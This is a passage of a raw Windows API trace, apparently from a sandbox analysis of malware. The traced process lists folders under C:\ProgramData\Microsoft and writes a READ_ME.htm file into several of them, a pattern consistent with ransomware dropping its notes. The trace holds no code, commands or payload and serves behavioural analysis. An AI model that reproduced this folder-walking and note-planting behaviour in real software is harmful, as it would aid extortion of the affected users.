out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0139.289] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0139.290] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.290] SetErrorMode (uMode=0x0) returned 0x1 [0139.290] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL", lpFilePart=0x0) returned 0x24 [0139.291] SetErrorMode (uMode=0x1) returned 0x0 [0139.291] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\*" (normalized: "c:\\programdata\\microsoft\\identitycrl\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd591378b, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd591378b, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac29de1, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3d00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlconfig.dll", cAlternateFileName="PPCRLC~1.DLL")) returned 1 [0139.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 1 [0139.291] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd582ef5d, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xd582ef5d, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x6ac4ff3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3e108, dwReserved0=0x0, dwReserved1=0x0, cFileName="ppcrlui.dll", cAlternateFileName="")) returned 0 [0139.292] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.292] SetErrorMode (uMode=0x0) returned 0x1 [0139.292] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\IdentityCRL\\READ_ME.htm", lpFilePart=0x0) returned 0x30 [0139.292] SetErrorMode (uMode=0x1) returned 0x0 [0139.292] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\IdentityCRL\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\identitycrl\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.293] GetFileType (hFile=0x1d0) returned 0x1 [0139.293] SetErrorMode (uMode=0x0) returned 0x1 [0139.293] GetFileType (hFile=0x1d0) returned 0x1 [0139.293] WriteFile (in: hFile=0x1d0, lpBuffer=0x2849640*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2849640*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.294] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x25 [0139.295] SetErrorMode (uMode=0x1) returned 0x0 [0139.295] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*" (normalized: "c:\\programdata\\microsoft\\media player\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.296] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.296] SetErrorMode (uMode=0x0) returned 0x1 [0139.296] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player", lpFilePart=0x0) returned 0x25 [0139.296] SetErrorMode (uMode=0x1) returned 0x0 [0139.296] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\*" (normalized: "c:\\programdata\\microsoft\\media player\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.297] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ee349fc, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3ee349fc, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3ee349fc, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.297] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.297] SetErrorMode (uMode=0x0) returned 0x1 [0139.297] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Media Player\\READ_ME.htm", lpFilePart=0x0) returned 0x31 [0139.298] SetErrorMode (uMode=0x1) returned 0x0 [0139.298] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Media Player\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\media player\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.298] GetFileType (hFile=0x1d0) returned 0x1 [0139.298] SetErrorMode (uMode=0x0) returned 0x1 [0139.298] GetFileType (hFile=0x1d0) returned 0x1 [0139.299] WriteFile (in: hFile=0x1d0, lpBuffer=0x284f1b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x284f1b8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.300] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF", lpFilePart=0x0) returned 0x1b [0139.300] SetErrorMode (uMode=0x1) returned 0x0 [0139.301] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*" (normalized: "c:\\programdata\\microsoft\\mf\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0139.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0139.302] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0139.314] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.315] SetErrorMode (uMode=0x0) returned 0x1 [0139.315] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF", lpFilePart=0x0) returned 0x1b [0139.316] SetErrorMode (uMode=0x1) returned 0x0 [0139.316] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\*" (normalized: "c:\\programdata\\microsoft\\mf\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.317] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.317] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7beaaeb8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7beaaeb8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Active.GRL", cAlternateFileName="")) returned 1 [0139.317] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 1 [0139.317] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3a7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL", cAlternateFileName="")) returned 0 [0139.318] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.318] SetErrorMode (uMode=0x0) returned 0x1 [0139.318] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\MF\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\MF\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0139.318] SetErrorMode (uMode=0x1) returned 0x0 [0139.318] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\MF\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\mf\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.321] GetFileType (hFile=0x1d0) returned 0x1 [0139.321] SetErrorMode (uMode=0x0) returned 0x1 [0139.321] GetFileType (hFile=0x1d0) returned 0x1 [0139.322] WriteFile (in: hFile=0x1d0, lpBuffer=0x2855220*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2855220*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0139.326] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x25 [0139.326] SetErrorMode (uMode=0x1) returned 0x0 [0139.326] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*" (normalized: "c:\\programdata\\microsoft\\netframework\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0139.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0139.331] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.332] SetErrorMode (uMode=0x0) returned 0x1 [0139.332] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x25 [0139.332] SetErrorMode (uMode=0x1) returned 0x0 [0139.332] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\*" (normalized: "c:\\programdata\\microsoft\\netframework\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0139.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 0 [0139.333] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.333] SetErrorMode (uMode=0x0) returned 0x1 [0139.334] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x35 [0139.334] SetErrorMode (uMode=0x1) returned 0x0 [0139.335] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\NetFramework\\BreadcrumbStore\\*" (normalized: "c:\\programdata\\microsoft\\netframework\\breadcrumbstore\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf410ce90, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf410ce90, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf410ce90, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0139.336] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.336] 